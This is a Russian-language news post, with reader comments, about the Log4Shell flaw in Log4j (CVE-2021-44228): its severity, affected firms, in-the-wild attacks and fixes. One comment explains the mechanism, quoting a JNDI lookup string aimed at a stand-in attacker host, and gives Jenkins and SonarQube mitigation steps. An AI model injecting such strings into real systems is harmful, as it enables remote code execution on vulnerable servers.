Уровень опасности — 10 баллов из 10: уязвимость Log4Shell угрожает миллионам серверов по всему миру

отметили
13
человека
в архиве

9 декабря служба облачной безопасности компании Alibaba обнародовала уязвимость «нулевого дня» в библиотеке журналирования log4j для языка программирования Java.

Java — популярный язык программирования и программная платформа. На Java написаны многие веб-приложения, программы для настольных ПК и мобильных устройств.

Apache Log4j — широко используемая библиотека регистрации данных в Java, одна из двух существующих. Она собирает информацию о событиях и ошибках, случившихся во время работы приложений, и сохраняет её в лог-файлах. Например, в веб-приложениях Log4j собирает сведения об устройствах и браузерах пользователей, а в программах для ПК и гаджетах — следит за активностью и подсчитывает время, проведённое людьми в играх.

Библиотека Log4j интегрирована в корпоративное ПО, её код встречается в программах с открытым исходным кодом, а также на серверах государственных учреждений по всему миру.

  • Уязвимость получила идентификатор CVE-2021-44228 и максимальный уровень угрозы — 10 баллов из 10 возможных. Потенциально она даёт злоумышленникам удалённый доступ к миллионам устройств в интернете, на которых работает Java.
  • Специалисты узнали о проблеме в ноябре, во время исследования безопасности сервера игры Minecraft. Они перехватили управление сервером, отправив сообщение в игровой чат. Первую кибератаку с использованием новой уязвимости заметили уже 1 декабря.

Чем эта уязвимость опасна для интернета

  • Гипотетически энтузиасты и самоучки (так называемые «скрипт киддиз») при помощи Log4Shell могут взламывать сервера крупных компаний. Профессиональное образование для этого не требуется.
  • PoC-эксплоиты, созданные после объявления об уязвимости, запускаютлюбые программы на удалённых серверах, где установлена Log4j. Хакеру нужно лишь послать запрос на атакуемый сервер, а в запросе указать путь к файлу payload, который позволит удалённо управлять им.
  • Тестирование показало, что эксплоиты делают возможной атаку даже на очень защищённые облачные сервисы, в частности, Apple iCloud, пишет исследовательская компания Lunasec. Достаточно определённым образом изменить название точки доступа и подключиться к ней с айфона, чтобы воздействовать на облачные серверы Apple, уточняет подробности атаки Greenblock.
  • Под угрозой также оказались серверы техногигантов Google, Microsoft, Tesla, Cisco, Cloudflare, VMware, Amazon, Twitter, Steam, Tencent, Baidu и многих других. Волонтёры также ведут список уязвимого ПО: в список вошло антивирусное ПО компании ESET.
  • Кроме того, утилита журналирования подключена к популярным фреймворкам, таким как Elasticsearch, Solr и Apache Struts.
  • Исследователи выяснили, что уязвимы все версии Java, вышедшие до 11 декабря и версии Log4j от 2.0 до 2.14.1. Ситуация осложняется тем, что об уязвимости стало известно до того, как вышло обновление утилиты.

Как Log4Shell используют хакеры

  • Сразу после первых сообщений о Log4Shell компания Apache выпустила обновление, которое закрывает опасную «дыру» в утилите. Кроме того, компания Cybereason опубликовала«вакцину» для старых версий Log4j. Хакеров это не остановило.
  • Особенность Log4Shell — большое количество возможных сценариев атаки: получить доступ к нужным серверам можно даже с помощью метаданных фотографий и любых файлов, а также с помощью текста в файле robots.txt на веб-сайте и по электронной почте.
  • Взломщики используют уязвимость для установки вредоносного ПО на компьютеры жертв, пишет Securitylab. Уже известны случаи удалённой установки ПО Kinsing для майнинга криптовалюты и программ для крупномасштабные DDoS-атак с помощью ботнетов — Mirai и Muhstik.
  • Хакеры пытаются устанавливать на уязвимые системы фреймворк Cobalt Strike, выяснили в Microsoft. Он позволяет тайно контролировать компьютеры жертв даже после исправления уязвимости и впоследствии — превратить их в ботнет.
  • На Github опубликован список IP-адресов, с которых хакеры и энтузиасты проводят сканирование и пытаются эксплуатировать Log4Shell. На момент выхода этой статьи в списке 1882 адреса.

Как защищаются компании и власти

  • Log4Shell заставила IT-сообщество срочно принимать меры. Компании пытаются исправить положение с помощью обновлений ПО, изменения настроек Log4j и самописанных патчей. При этом компании называют сложившуюся ситуацию катастрофической, а уязвимость — «самой крупной и самой критической за последнее десятилетие».
  • Простейший метод защиты от Log4Shell — установка наиболее свежей версии библиотеки Log4j 2.15.0, отмечают в «Лаборатории Касперского». Пока этот текст готовился к публикации, Apache выпустила ещё один корректирующий релиз библиотеки.
  • 13 декабря стало известно, что в канадской провинции Квебек в качестве превентивной меры закрыты около 4000 государственных сайтов. Федеральное ведомство по информационной безопасности ФРГ (BSI) объявило красный уровень угрозы в связи с уязвимостью.
Добавил fStrange fStrange 14 Декабря 2021
проблема (1)
Комментарии участников:
fakenews
+5
fakenews, 14 Декабря 2021 , url

Сейчас пол интернета раком стоит из-за этого. Там такая уязвимость которую может заюзать даже смекалистый школьник.

BadMax
+1
BadMax, 14 Декабря 2021 , url

Пора менять библиотеку на Ленинскую? 

KsRus
0
KsRus, 14 Декабря 2021 , url

Жаль, что тема Путина так и не раскрыта в этой новости (надеюсь автор в коментариях исправится), но плюсую… для IT новость актуальна.

vceok
+1
vceok, 14 Декабря 2021 , url

я то же озяб ждать, когда уже)))

fStrange
-3
fStrange, 14 Декабря 2021 , url

Зато вы как всегда раскрыли тему глупости. С другим вашим коллегой по оной. И это прекрасно

arez
0
arez, 14 Декабря 2021 , url

Уязвимость в библиотеке Log4j в экосистеме Java

(https://blog.silverbulleters.org/content/images/size/w1000/2021/12/image.png)Думаю многие, как и мы привыкли в стеке разработки использовать такие сервисы как Jenkins и SonarQube. Эти приложения написаны на языке Java и могут быть подвержены уязвимости CVE-2021-44228 (https://nvd.nist.gov/vuln/detail/CVE-2021-44228), исходящей от библиотеки Log4j версии 2.

Проблема вызвана тем, что Log4j2 поддерживает обработку специальных масок "{}" в выводимых в лог строках, в которых могли выполняться запросы JNDI (Java Naming and Directory Interface). Атака сводится к передаче строки с подстановкой ${jndi:ldap://attacker.com/a}, при обработке которой Log4j 2 отправит на сервер attacker.com LDAP-запрос пути к Java-классу. Возвращённый сервером атакующего путь (например, second-stage.attacker.com/Exploit.class) будет загружен и выполнен в контексте текущего процесса, что позволяет атакующему добиться выполнения произвольного кода в системе с правами текущего приложения (информация взята из источника).

Как себя обезопасить?????

⚙️Jenkins

В Jenkins Core эта библиотека не используется, но не исключает ее наличие в плагинах. Для проверки наличия уязвимости вам нужно зайти в Консоль сценариев (Настроить Jenkins -> Управление средами сборки -> узел master или built-in -> Консоль сценариев) и выполнить скрипт:

org.apache.logging.log4j.core.lookup.JndiLookup.class.protectionDomain.codeSource

Если выполнение скрипта привело к ошибке вида groovy.lang.MissingPropertyException: No such property: org for class: Script1, то библиотека Log4j2 в плагинах не используется.

Но если будет выведен путь и имя плагина, где все же используется библиотека, вам нужно будет удалить этот плагин, перезапустить сервис Jenkins и повторно выполнить скрипт в Консоли сценариев.

Официальный источник информации: Apache Log4j 2 vulnerability CVE-2021-44228 (https://www.jenkins.io/blog/2021/12/10/log4j2-rce-CVE-2021-44228/).

⚙️SonarQube

Что касается сервиса SonarQube, то библиотека используется только в модуле ElasticSearch. Чтобы обезопасить сервис, нужно в конфигурационный файл SonarQube или переменную среды добавить -Dlog4j2.formatMsgNoLookups=true.

В конфигурационном файле sonar.properties нужно добавить или изменить настройку sonar.search.javaAdditionalOpts, например:

sonar.search.javaAdditionalOpts=-Dlog4j2.formatMsgNoLookups=true

Или через переменную среды в системе, контейнере и т.п:

SONAR_SEARCH_JAVAADDITIONALOPTS=-Dlog4j2.formatMsgNoLookups=true

После указания настройки нужно перезапустить сервис SonarQube.

Официальный источник информации: SonarQube and the Log4J vulnerability (https://community.sonarsource.com/t/sonarqube-and-the-log4j-vulnerability/54721).

Вумные же, давно перешли на logback



Войдите или станьте участником, чтобы комментировать